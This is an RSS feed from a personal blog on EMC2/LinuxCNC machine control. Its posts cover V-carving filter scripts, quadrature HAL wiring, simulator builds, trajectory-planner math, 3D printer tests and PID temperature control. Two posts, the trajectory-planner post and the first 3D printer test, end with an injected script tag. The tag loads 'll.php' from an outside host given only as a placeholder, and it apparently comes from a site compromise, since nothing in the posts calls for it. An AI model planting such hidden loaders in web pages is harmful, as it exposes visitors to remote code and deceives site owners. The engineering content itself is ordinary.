<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; EMC</title>
	<atom:link href="http://www.anderswallin.net/category/cnc/emc/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Wed, 08 Feb 2012 12:05:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>EMC2 Filters</title>
		<link>http://www.anderswallin.net/2012/01/emc2-filters/</link>
		<comments>http://www.anderswallin.net/2012/01/emc2-filters/#comments</comments>
		<pubDate>Tue, 17 Jan 2012 16:04:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[OpenVoronoi]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=5465</guid>
		<description><![CDATA[I hacked together a few python-scripts that can be run as "filters" in EMC2. They are opened/run from AXIS and produce G-code into EMC2. The first one is ttt2ngc which simply demonstrates my C++ port of Chris Radek's truetype-tracer. The original code is a rather monolithic C-program while my C++ port is divided into smaller [...]]]></description>
			<content:encoded><![CDATA[<p>I hacked together a few python-scripts that can be run as "filters" in EMC2. They are opened/run from AXIS and produce G-code into EMC2.</p>
<p>The first one is <a href="https://github.com/aewallin/truetype-tracer/blob/master/ttt2ngc.py">ttt2ngc</a> which simply demonstrates my C++ port of <a href="http://timeguy.com/cradek/truetype">Chris Radek's truetype-tracer</a>. The original code is a rather monolithic C-program while my C++ port is divided into smaller files and offers python-bindings and more options (for example arc, cubic, conic output can be turned on/off independently).</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2012/01/tttpp.png"><img class="alignnone size-medium wp-image-5469" title="tttpp" src="http://www.anderswallin.net/wp-content/uploads/2012/01/tttpp-300x206.png" alt="" width="300" height="206" /></a></p>
<p>The seconds script is <a href="https://github.com/aewallin/openvoronoi/blob/master/python_examples/ttt2offset.py">ttt2offset</a> which takes ttt-geometry, builds a <a href="http://en.wikipedia.org/wiki/Voronoi_diagram">VD</a>, and produces offsets. By reversing the list of points from ttt either inwards or outwards offsets can be produced. Currently the toolpaths are machined in the order they are produced, i.e. in order of increasing offset value. An improvement would be to order the loops so that for e.g. pocketing the innermost loop is machined first, and rapid-traverses are minimized.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2012/01/interior_emc2_offsets.png"><img class="alignnone size-medium wp-image-5470" title="interior_emc2_offsets" src="http://www.anderswallin.net/wp-content/uploads/2012/01/interior_emc2_offsets-300x206.png" alt="" width="300" height="206" /></a> <a href="http://www.anderswallin.net/wp-content/uploads/2012/01/exterior_emc2_offset.png"><img class="alignnone size-medium wp-image-5468" title="exterior_emc2_offset" src="http://www.anderswallin.net/wp-content/uploads/2012/01/exterior_emc2_offset-300x205.png" alt="" width="300" height="205" /></a></p>
<p>The third script is <a href="https://github.com/aewallin/openvoronoi/blob/master/python_examples/ttt2medial.py">ttt2medial</a>. Here the VD is filtered down to an (approximate) medial-axis, and the edges of the <a href="http://en.wikipedia.org/wiki/Medial_axis">medial axis</a> are chained together into a toolpath. The chaining-algorithm could probably be improved much, again to minimize rapid-traverses.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2012/01/emc2_vcarve2.png"><img class="alignnone size-medium wp-image-5467" title="emc2_vcarve2" src="http://www.anderswallin.net/wp-content/uploads/2012/01/emc2_vcarve2-300x205.png" alt="" width="300" height="205" /></a></p>
<p>If this is run with a V-shaped cutter with a 90-degree angle we can push the cutter into the material by an amount equal to the clearance-disk radius of the edge. This is a "V-carving" toolpath which should produce a cut-out very similar to the outline of the font. For added effect choose a material with  contrasting surface and interior colors.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2012/01/emc2_vcarve1.png"><img class="alignnone size-medium wp-image-5466" title="emc2_vcarve1" src="http://www.anderswallin.net/wp-content/uploads/2012/01/emc2_vcarve1-300x206.png" alt="" width="300" height="206" /></a></p>
<p>It would be interesting to know if this v-carving g-code is anywhere near to correct. If someone has a cutting-simulator, or is adventurous enough to run this on an actual machine, I'd be very interested in the results! (here is the g-code: <a href="http://www.anderswallin.net/wp-content/uploads/2012/01/emc2_vcarve.ngc_.zip">emc2_vcarve.ngc</a>)</p>
<p>Here is a metric version. The max depth is around -3mm, so a 10mm diameter 90-degree V-cutter should be OK. The text should be roughly 100mm long: <a href="http://www.anderswallin.net/wp-content/uploads/2012/01/emc2_vcarve_mm_ver2.ngc_.zip">emc2_vcarve_mm_ver2.ngc</a></p>
<p>Disclaimer: This is experimental code. Warnings, Errors, and Segfaults are common.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2012/01/emc2-filters/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>A/B Quadrature from EMC2</title>
		<link>http://www.anderswallin.net/2011/11/ab-quadrature-from-emc2/</link>
		<comments>http://www.anderswallin.net/2011/11/ab-quadrature-from-emc2/#comments</comments>
		<pubDate>Sat, 19 Nov 2011 21:06:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=5128</guid>
		<description><![CDATA[By popular demand a simple example of how to modify the stepper_mm sample configuration to output phase-A/phase-B quadrature signals (stepgen type=2). In core_stepper.hal we specify step type 2, and re-name/wire the stepgen output: loadrt stepgen step_type=2,2,2 net XA parport.0.pin-06-out Since I have neither a parport nor an oscilloscope at hand right now I'm using some [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2011/11/axis_quadrature.png"><img src="http://www.anderswallin.net/wp-content/uploads/2011/11/axis_quadrature-300x237.png" alt="" title="axis_quadrature" width="300" height="237" class="alignnone size-medium wp-image-5129" /></a></p>
<p>By popular demand a simple example of how to modify the stepper_mm sample configuration to output phase-A/phase-B quadrature signals (stepgen type=2).</p>
<p>In core_stepper.hal we specify step type 2, and re-name/wire the stepgen output:<br />
<code><br />
loadrt stepgen step_type=2,2,2</p>
<p>net XA <= stepgen.0.phase-A<br />
net XB <= stepgen.0.phase-B<br />
net YA <= stepgen.1.phase-A<br />
net YB <= stepgen.1.phase-B<br />
net ZA <= stepgen.2.phase-A<br />
net ZB <= stepgen.2.phase-B<br />
</code></p>
<p>Then in standard_pinout.hal we wire the phases to the parport:<br />
<code><br />
net XA => parport.0.pin-03-out<br />
net XB  => parport.0.pin-02-out<br />
net YA => parport.0.pin-05-out<br />
net YB  => parport.0.pin-04-out<br />
net ZA => parport.0.pin-07-out<br />
net ZB  => parport.0.pin-06-out<br />
</code></p>
<p>Since I have neither a parport nor an oscilloscope at hand right now I'm using some pyvcp LEDs to look at the A/B signals. These are set up with two changes to the INI-file:<br />
<code><br />
[DISPLAY]<br />
PYVCP = phaseleds.xml<br />
</code><br />
and<br />
<code><br />
[HAL]<br />
POSTGUI_HALFILE = pyvcp_phaseleds.hal<br />
</code><br />
The files I'm using are here: <a href='http://www.anderswallin.net/wp-content/uploads/2011/11/phaseleds.tar.gz'>phaseleds.tar</a></p>
<p>Now it is possible to look at the blinking of the LEDs when the machine moves and see <a href="http://en.wikipedia.org/wiki/Quadrature_phase">the 90-degree out-of-phase square waveform</a> (see also <a href="http://en.wikipedia.org/wiki/File:Quadrature_Diagram.svg">image here</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/11/ab-quadrature-from-emc2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EMC2 simulator build on Ubuntu 11.10</title>
		<link>http://www.anderswallin.net/2011/11/emc2-simulator-build-on-ubuntu-11-10/</link>
		<comments>http://www.anderswallin.net/2011/11/emc2-simulator-build-on-ubuntu-11-10/#comments</comments>
		<pubDate>Sat, 19 Nov 2011 19:58:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=5115</guid>
		<description><![CDATA[I thought I would build EMC2-simulator on 64-bit Ubuntu 11.10 following the instructions from the wiki. To get the source and dependencies: $ git clone git://git.linuxcnc.org/git/emc2.git emc2-dev $ cd emc2-dev $ cd debian $ ./configure sim $ cd .. $ dpkg-checkbuilddeps Then install all the required packages with "sudo apt-get install". dpkg-checkbuilddeps suggests installing tk8.4 [...]]]></description>
			<content:encoded><![CDATA[<p>I thought I would build EMC2-simulator on 64-bit Ubuntu 11.10 following the instructions from <a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?Installing_EMC2">the wiki</a>. To get the source and dependencies:<br />
<code><br />
$ git clone git://git.linuxcnc.org/git/emc2.git emc2-dev<br />
$ cd emc2-dev<br />
$ cd debian<br />
$ ./configure sim<br />
$ cd ..<br />
$ dpkg-checkbuilddeps<br />
</code></p>
<p>Then install all the required packages with "sudo apt-get install". dpkg-checkbuilddeps suggests installing tk8.4 and tcl8.4 but I found that in ordet to get the configure-script to run without errors I needed tk8.5, tk8.5-dev, tcl8.5 and tcl8.5-dev, and I removed all the 8.4 packages of tk and tcl. That makes configure run without errors. Then try building:</p>
<p><code><br />
$ cd src<br />
$ ./autogen.sh<br />
$ ./configure --enable-simulator<br />
$ make<br />
</code></p>
<p>However that produces a number of linking errors. Don't ask me exactly why but this patch: <a href='http://www.anderswallin.net/wp-content/uploads/2011/11/0001-changes-to-make-sim-build-on-ubuntu-11.10.patch_.tar.gz'>0001-changes-to-make-sim-build-on-ubuntu-11.10.patch.tar</a> (updated corrected version!) seems to fix things, and I get emc2 sim built and running. Just in case anyone else wants to build on 64-bit Ubuntu 11.10.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/11/emc2-simulator-build-on-ubuntu-11-10/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>EMC2 tpRunCycle revisited</title>
		<link>http://www.anderswallin.net/2011/05/emc2-tpruncycle-revisited/</link>
		<comments>http://www.anderswallin.net/2011/05/emc2-tpruncycle-revisited/#comments</comments>
		<pubDate>Thu, 19 May 2011 20:24:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[latex]]></category>
		<category><![CDATA[trajectory]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=4408</guid>
		<description><![CDATA[I started this EMC2 wiki page in 2006 when trying to understand how trajectory control is done in EMC2. Improving the trajectory controller is a topic that comes up on the EMC2 discussion list every now and then. The problem is just that almost nobody actually takes the time and effort to understand how the [...]]]></description>
			<content:encoded><![CDATA[<p>I started <a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?Simple_Tp_Notes">this EMC2 wiki page in 2006</a> when trying to understand how trajectory control is done in EMC2. Improving the trajectory controller is a topic that comes up on the EMC2 discussion list every now and then. The problem is just that almost nobody actually takes the time and effort to understand how the trajectory planner works and documents it...</p>
<p>A <a href="http://permalink.gmane.org/gmane.linux.distributions.emc.devel/4414">recent post on the dev-list</a> has asked why the math I wrote down in 2006 isn't what's in the code, so here we go:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2011/05/tp_runcycle1.jpg"><img class="alignnone size-full wp-image-4409" title="tp_runcycle" src="http://www.anderswallin.net/wp-content/uploads/2011/05/tp_runcycle1.jpg" alt="" width="560" height="420" /></a></p>
<p>I will use the same shorthand symbols as used on the wiki page. We are at coordinate P ("progress") we want to get to T ("target") we are currently travelling at vc ("current velocity"), the next velocity suggestion we want to calculate is vs ("suggested velocity), maximum allowed acceleration is am ("max accel") and the move takes tm ("move time") to complete. The cycle-time is ts ("sampling time"). The new addition compared to my 2006 notes is that now the current velocity vc as well as the cycle time ts is taken into account.</p>
<p>As before, the area under the velocity curve is the distance we will travel, and that needs to be equal to the distance we have left, i.e. (T-P). (now trying new <a href="http://en.wikipedia.org/wiki/LaTeX">latex</a>-plugin for math:) (EQ1)</p>
<p><p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_c85ac7be33b335f85b83b78b283bfab7.gif' style='vertical-align: middle; border: none;' class='tex' alt="T-P = {1 \over 2} t_s v_c + {1 \over 2} t_m v_s " /></span><script type='math/tex;  mode=display'>T-P = {1 \over 2} t_s v_c + {1 \over 2} t_m v_s </script></p></p>
<p>Note how the first term is the area of the red triangle and the second therm is the area of the green triangle. Now we want to calculate a new suggested velocity vs so that using the maximum deceleration our move will come to a halt at time tm, so(EQ2):<br />
<p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_37a77bf47929dfd71e74ec847dc321dc.gif' style='vertical-align: middle; border: none;' class='tex' alt=" v_s = a_m (t_m - t_s)" /></span><script type='math/tex;  mode=display'> v_s = a_m (t_m - t_s)</script></p><br />
Inserting this into the first equation gives (EQ3):<br />
<p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_5a9ea4c349e0db0e54ce1fafb3657fe4.gif' style='vertical-align: middle; border: none;' class='tex' alt="T-P = {1 \over 2} t_s v_c + {1 \over 2} t_m a_m (t_m - t_s) " /></span><script type='math/tex;  mode=display'>T-P = {1 \over 2} t_s v_c + {1 \over 2} t_m a_m (t_m - t_s) </script></p><br />
this leads to a quadratic eqation in tm (EQ4):<br />
<p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_a01b4028a380212946344ba5c9995f2e.gif' style='vertical-align: middle; border: none;' class='tex' alt="{1 \over 2} a_m t_m^2 - {1 \over 2} a_m t_s t_m + {1 \over 2} t_s v_c - (T-P) = 0" /></span><script type='math/tex;  mode=display'>{1 \over 2} a_m t_m^2 - {1 \over 2} a_m t_s t_m + {1 \over 2} t_s v_c - (T-P) = 0</script></p><br />
with the solution (we obviously want the plus sign)(EQ5)<br />
<p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_7dccf5117f1aa12ec860d8a2850fb1eb.gif' style='vertical-align: middle; border: none;' class='tex' alt=" t_m = {1 \over 2}t_s + \sqrt{ {t_s^2 \over 4} - {t_s v_c - 2(T-P) \over a_m} }" /></span><script type='math/tex;  mode=display'> t_m = {1 \over 2}t_s + \sqrt{ {t_s^2 \over 4} - {t_s v_c - 2(T-P) \over a_m} }</script></p><br />
which we can insert back into EQ2 to get (EQ6) (this is the new suggested max velocity. we obviously apply the accel and velocity clamps to this as noted before)<br />
<p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_31bfa638f6a50932c96a62159898eef5.gif' style='vertical-align: middle; border: none;' class='tex' alt=" v_s = a_m (t_m - t_s) = -{1 \over 2 }a_m t_s + a_m \sqrt{ {t_s^2 \over 4} - {t_s v_c - 2(T-P) \over a_m} } " /></span><script type='math/tex;  mode=display'> v_s = a_m (t_m - t_s) = -{1 \over 2 }a_m t_s + a_m \sqrt{ {t_s^2 \over 4} - {t_s v_c - 2(T-P) \over a_m} } </script></p><br />
It is left as an (easy) exercise for the reader to show that this is equivalent to the code below (note how those silly programmers save memory by first using the variable discr for a distance with units of length and then on the next line using it for something else which has units of time squared):</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">discr <span style="color: #339933;">=</span> <span style="color:#800080;">0.5</span> <span style="color: #339933;">*</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>cycle_time <span style="color: #339933;">*</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>currentvel <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span>tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>target <span style="color: #339933;">-</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>progress<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
discr <span style="color: #339933;">=</span> <span style="color:#800080;">0.25</span> <span style="color: #339933;">*</span> pmSq<span style="color: #009900;">&#40;</span>tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>cycle_time<span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color:#800080;">2.0</span> <span style="color: #339933;">/</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>maxaccel <span style="color: #339933;">*</span> discr<span style="color: #339933;">;</span>
newvel <span style="color: #339933;">=</span> maxnewvel <span style="color: #339933;">=</span> <span style="color: #339933;">-</span><span style="color:#800080;">0.5</span> <span style="color: #339933;">*</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>maxaccel <span style="color: #339933;">*</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>cycle_time <span style="color: #339933;">+</span>tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>maxaccel <span style="color: #339933;">*</span> pmSqrt<span style="color: #009900;">&#40;</span>discr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>over and out.<script type="text/javascript" src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/05/emc2-tpruncycle-revisited/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3D printer – first test</title>
		<link>http://www.anderswallin.net/2010/12/3d-printer-first-test/</link>
		<comments>http://www.anderswallin.net/2010/12/3d-printer-first-test/#comments</comments>
		<pubDate>Mon, 20 Dec 2010 18:22:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[3d printer]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=4084</guid>
		<description><![CDATA[After some initial tuning we did three test-prints today of a 10x10mm square, 30 layers, raising the z-axis by 0.5mm for each layer. We tried to set it up so that when the X or Y-axis moves 10mm, the extruder A-axis should also move 10 units. The way it is set up right now it [...]]]></description>
			<content:encoded><![CDATA[<p>
<a href='http://www.anderswallin.net/2010/12/3d-printer-first-test/attachment/20122010613/' title='20122010613'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/12/201220106131-150x150.jpg" class="attachment-thumbnail" alt="20122010613" title="20122010613" /></a>
<a href='http://www.anderswallin.net/2010/12/3d-printer-first-test/attachment/20122010612/' title='20122010612'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/12/201220106121-150x150.jpg" class="attachment-thumbnail" alt="20122010612" title="20122010612" /></a>
<a href='http://www.anderswallin.net/2010/12/3d-printer-first-test/attachment/20122010611/' title='20122010611'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/12/201220106111-150x150.jpg" class="attachment-thumbnail" alt="20122010611" title="20122010611" /></a>
<a href='http://www.anderswallin.net/2010/12/3d-printer-first-test/samsung-3/' title='SAMSUNG'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/12/2010-12-20-18.43.541-150x150.jpg" class="attachment-thumbnail" alt="SAMSUNG" title="SAMSUNG" /></a>
<a href='http://www.anderswallin.net/2010/12/3d-printer-first-test/samsung-2/' title='SAMSUNG'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/12/2010-12-20-18.43.411-150x150.jpg" class="attachment-thumbnail" alt="SAMSUNG" title="SAMSUNG" /></a>
<a href='http://www.anderswallin.net/2010/12/3d-printer-first-test/samsung/' title='SAMSUNG'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/12/2010-12-20-18.43.351-150x150.jpg" class="attachment-thumbnail" alt="SAMSUNG" title="SAMSUNG" /></a>
<br />
After some initial tuning we did three test-prints today of a 10x10mm square, 30 layers, raising the z-axis by 0.5mm for each layer. We tried to set it up so that when the X or Y-axis moves 10mm, the extruder A-axis should also move 10 units. The way it is set up right now it might be extruding slightly too much plastic per mm. The maximum feedrate we tried was 600mm/min.</p>
<p>We printed the same geometry three times, here is the second try (in the first try the base/bed wasn't staying very fixed, so the print resembles the leaning tower of Pisa...)<br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/VmjhUvA3YLE?fs=1&amp;hl=en_US" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/VmjhUvA3YLE?fs=1&amp;hl=en_US" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Here is the third try. Now we are moving the Z-axis +0.5 mm during the last Y-axis move. This is at 600mm/min.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/0I025iSr5jU?fs=1&amp;hl=en_US" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/0I025iSr5jU?fs=1&amp;hl=en_US" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>We were pretty happy with the print-quality so far, considering this is the first ever test of our extruder/xyz-table setup. Some tuning of how much plastic is extruded for each mm of xyz-feed, and perhaps a heated printing-bed, should improve the quality further. Next is learning to use one of the many STL to G-code CAM programs and filtering the G-code output so it is suitable for our EMC2 setup (the extruder is the A-axis, in absolute mode).</p>
<p>Update: Risto has more on this in his blog: ?<a href="http://risto.kurppa.fi/blog/2010/12/first-prints-with-reprap-the-open-source-3d-printer/">http://risto.kurppa.fi/blog/2010/12/first-prints-with-reprap-the-open-source-3d-printer/</a><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/12/3d-printer-first-test/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>EMC2 halui jogging example</title>
		<link>http://www.anderswallin.net/2010/12/emc2-halui-jogging-example/</link>
		<comments>http://www.anderswallin.net/2010/12/emc2-halui-jogging-example/#comments</comments>
		<pubDate>Sun, 05 Dec 2010 20:31:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[halui]]></category>
		<category><![CDATA[jog]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=4055</guid>
		<description><![CDATA[The slider is used to set the jog speed in units of mm/min and the buttons jog the axes in the + and - directions. HAL and XML files: halui_jog_example]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/12/halui_jogging1.png"><img src="http://www.anderswallin.net/wp-content/uploads/2010/12/halui_jogging1-300x221.png" alt="" title="halui_jogging" width="300" height="221" class="alignnone size-medium wp-image-4056" /></a></p>
<p>The slider is used to set the jog speed in units of mm/min and the buttons jog the axes in the + and - directions.</p>
<p>HAL and XML files: <a href='http://www.anderswallin.net/wp-content/uploads/2010/12/halui_jog_example1.zip'>halui_jog_example</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/12/emc2-halui-jogging-example/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Temperature PID control</title>
		<link>http://www.anderswallin.net/2010/11/temperature-pid-control/</link>
		<comments>http://www.anderswallin.net/2010/11/temperature-pid-control/#comments</comments>
		<pubDate>Fri, 26 Nov 2010 18:52:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[PID]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3998</guid>
		<description><![CDATA[We hooked up the temperature measurement circuit and the PWM-amplifier to EMC today and tested PID-control of the extruder head temperature. The ini, hal, and xml files for this are here: temp_control_pid.tar It's probably much easier to figure out the connections from the diagram below than to browse the text files. The square wave, which [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/11/temp_pid_control1.png"><img src="http://www.anderswallin.net/wp-content/uploads/2010/11/temp_pid_control1-300x227.png" alt="" title="temp_pid_control" width="300" height="227" class="alignnone size-medium wp-image-4001" /></a></p>
<p>We hooked up the <a href="http://www.anderswallin.net/2010/11/temperature-control-circuits/">temperature measurement circuit and the PWM-amplifier</a> to EMC today and tested PID-control of the extruder head temperature. The ini, hal, and xml files for this are here: <a href="http://www.anderswallin.net/wp-content/uploads/2010/11/temp_control_pid.tar2.gz">temp_control_pid.tar</a></p>
<p>It's probably much easier to figure out the connections from the diagram below than to browse the text files. The square wave, which has a frequency proportional to the temperature, comes in on parallel port pin-13, and is connected to an <a href="http://www.linuxcnc.org/docs/2.4/html/man/man9/encoder.9.html">encoder</a>. The encoder has a velocity output which will be equal to the frequency of the square wave in Hz. This frequency is used as the feedback for a <a href="http://www.linuxcnc.org/docs/2.4/html/man/man9/pid.9.html">PID-component</a> which compares the measured frequency against a set-point which is taken from a <a href="http://www.linuxcnc.org/docs/2.4/html/hal_pyvcp.html">pyvcp slider</a>. The pid output is used as an input to a <a href="http://www.linuxcnc.org/docs/2.4/html/man/man9/pwmgen.9.html">pwm-generator</a>, whose output needs an <a href="http://www.linuxcnc.org/docs/2.4/html/man/man9/not.9.html">inverter</a>, since the pwm-amplifier is active-low. The PWM is output on parallel port pin 9.</p>
<p>I wish there was a tool which would draw these HAL/pyVCP diagrams automagically from the source files. There is some work in that direction already: <a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?Crapahalic">crapahalic</a> and <a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?HalSchematicsUsingGschem">HAL with gschem</a>.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/11/temp_control1.png"><img src="http://www.anderswallin.net/wp-content/uploads/2010/11/temp_control1-300x155.png" alt="" title="temp_control" width="300" height="155" class="alignnone size-medium wp-image-4002" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/11/temperature-pid-control/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EMC2 upgrade</title>
		<link>http://www.anderswallin.net/2010/11/emc2-upgrade/</link>
		<comments>http://www.anderswallin.net/2010/11/emc2-upgrade/#comments</comments>
		<pubDate>Sat, 13 Nov 2010 17:50:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[Lathe]]></category>
		<category><![CDATA[atom]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3941</guid>
		<description><![CDATA[I've upgraded Ubuntu and EMC2 on the Atom 330 machine I have for controlling the lathe. The Atom 330 is a dual-core chip, but with Hyper Threading the OS can see four cores. That's not good for real-time performance, so the first thing I did was turn off HT from the BIOS. Next I did [...]]]></description>
			<content:encoded><![CDATA[<p>I've upgraded Ubuntu and EMC2 on the <a href="http://en.wikipedia.org/wiki/List_of_Intel_Atom_microprocessors">Atom 330</a> machine I have for controlling the lathe. The Atom 330 is a dual-core chip, but with <a href="http://en.wikipedia.org/wiki/Hyper_threading">Hyper Threading</a> the OS can see four cores. That's not good for real-time performance, so the first thing I did was turn off HT from the BIOS. Next I did a distribution upgrade to 10.04LTS which downloaded about 1 Gig in an estimated 9 minutes (2Mb/s is OK I guess...). I then used the <a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?Installing_EMC2">emc2-install script</a> which installs the real-time kernel and emc2, and finally I edited /boot/grub/menu.lst by adding "isolcpus=1" on the kernel line. This reserves one cpu core for real-time and the other for non-real-time tasks. Without "isolcpus=1" the <a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?Latency-Test">latency-test</a> jitter values were easily 10k and more with a light load on the machine. With one core dedicated to real-time the jitter numbers start out at around 4k at light load and double to 7-8k under heavy load.</p>
<p>Here are some selected screenshots:</p>

<a href='http://www.anderswallin.net/2010/11/emc2-upgrade/lts_hyperthread/' title='lts_hyperthread'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/11/lts_hyperthread1-150x150.png" class="attachment-thumbnail" alt="lts_hyperthread" title="lts_hyperthread" /></a>
<a href='http://www.anderswallin.net/2010/11/emc2-upgrade/latency_load2/' title='latency_load2'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/11/latency_load21-150x150.png" class="attachment-thumbnail" alt="latency_load2" title="latency_load2" /></a>
<a href='http://www.anderswallin.net/2010/11/emc2-upgrade/latency_isolcpus/' title='latency_isolcpus'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/11/latency_isolcpus1-150x150.png" class="attachment-thumbnail" alt="latency_isolcpus" title="latency_isolcpus" /></a>
